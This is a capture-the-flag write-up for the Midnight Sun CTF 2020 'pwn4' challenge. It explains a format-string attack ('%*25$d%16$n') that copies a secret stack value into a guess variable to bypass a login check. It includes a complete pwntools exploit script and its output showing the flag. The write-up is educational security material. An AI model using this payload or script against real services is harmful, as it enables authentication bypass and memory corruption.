Tags: format-string pwn 

Rating: 5.0

### Explanation

Basic idea: copy the secret (4 bytes) from the stack to our guess variable (also on the stack) and pass the check.

- `%<N>d` normally this lets us print N characters total (a decimal int padded to N spaces).
- `%*25$d` the asterisk lets us choose the value for N from the stack, so we choose 25$, which is the position of the secret value: this will therefore print a number of chars equal to the secret value.
- `%16$n` this will then write the number of printed chars to our variable on the stack (position 16) that is later compared with the secret.

Final format string: `%*25$d%16$n`. This will print *A LOT* of characters back (like 1GB of spaces), but works after trying a few times and getting a small secret value.

### Code

#!/usr/bin/env python2
# Author: Marco Bonelli - @mebeim
# Date : 2020-04-04
# https://gist.github.com/mebeim/f74504ec20399ecb9384f826391f7598

from pwn import *

HOST = 'pwn4-01.play.midnightsunctf.se'
PORT = 10004
EXE = './pwn4'

if args.REMOTE:
r = remote(HOST, PORT)
else:
r = process(EXE)

r.recvuntil("user: ")
r.sendline("%*25$d%16$n")
r.recvuntil("code: ")
r.sendline(str(10))
r.recvuntil("logged: ")

tot = 0
p = log.progress('Receiving all data')
log.info('Press CTRL+C to switch to interactive...');

while 1:
try:
data = r.recv(1000 * 1000)
tot += len(data)
p.status('%d MB', tot/1e6)
except:
break

p.success('done (%d MB)', tot/1e6)
r.interactive()

### Output

[+] Opening connection to pwn4-01.play.midnightsunctf.se on port 10004: Done
[+] Receiving all data: done (1 MB)
[*] Press CTRL+C to switch to interactive...
[*] Switching to interactive mode
$ cat flag
midnight{12_pwny_men_33269c083256f5f3}
$
[*] Interrupted
[*] Closed connection to pwn4-01.play.midnightsunctf.se port 10004

Original writeup (https://gist.github.com/mebeim/f74504ec20399ecb9384f826391f7598).
TaQiniApril 5, 2020, 10:34 a.m.

thanks!